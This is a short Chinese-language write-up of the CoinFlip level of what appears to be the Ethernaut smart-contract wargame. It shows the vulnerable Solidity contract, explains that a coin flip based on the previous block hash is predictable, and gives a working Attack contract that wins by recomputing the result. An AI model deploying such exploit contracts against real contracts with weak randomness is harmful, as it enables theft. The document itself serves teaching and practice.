题目描述

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解题过程

题目源码

  1. // SPDX-License-Identifier: MIT
  2. pragma solidity ^0.6.0;
  4. import '@openzeppelin/contracts/math/SafeMath.sol';
  6. contract CoinFlip {
  8.   using SafeMath for uint256;
  9.   uint256 public consecutiveWins;
  10.   uint256 lastHash;
  11.   uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
  13.   constructor() public {
  14.     consecutiveWins = 0;
  15.   }
  17.   function flip(bool _guess) public returns (bool) {
  18.     uint256 blockValue = uint256(blockhash(block.number.sub(1)));
  20.     if (lastHash == blockValue) {
  21.       revert();
  22.     }
  24.     lastHash = blockValue;
  25.     uint256 coinFlip = blockValue.div(FACTOR);
  26.     bool side = coinFlip == 1 ? true : false;
  28.     if (side == _guess) {
  29.       consecutiveWins++;
  30.       return true;
  31.     } else {
  32.       consecutiveWins = 0;
  33.       return false;
  34.     }
  35.   }
  36. }

这里通过计算上一区块的信息与一个固定的数值相计算，就不存在随机的情况了，除了第一次的上一区块随机，其他均为可知的值
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直接使用原合约的计算方法，部署攻击合约

  1. contract Attack {
  2.   using SafeMath for uint256;
  3.   uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
  5.   address addr = 0x36D583674B7afE99c0c8FDE510BbA46ec7b96531;
  6.   CoinFlip coin = CoinFlip(addr);
  8.   function attack() public{
  9.     uint256 blockValue = uint256(blockhash(block.number.sub(1)));
  10.     uint256 coinFlip = blockValue.div(FACTOR);
  11.     bool side = coinFlip == 1 ? true : false;
  12.     coin.flip(side);
  13.   }
  14. }

调用10次完成关卡
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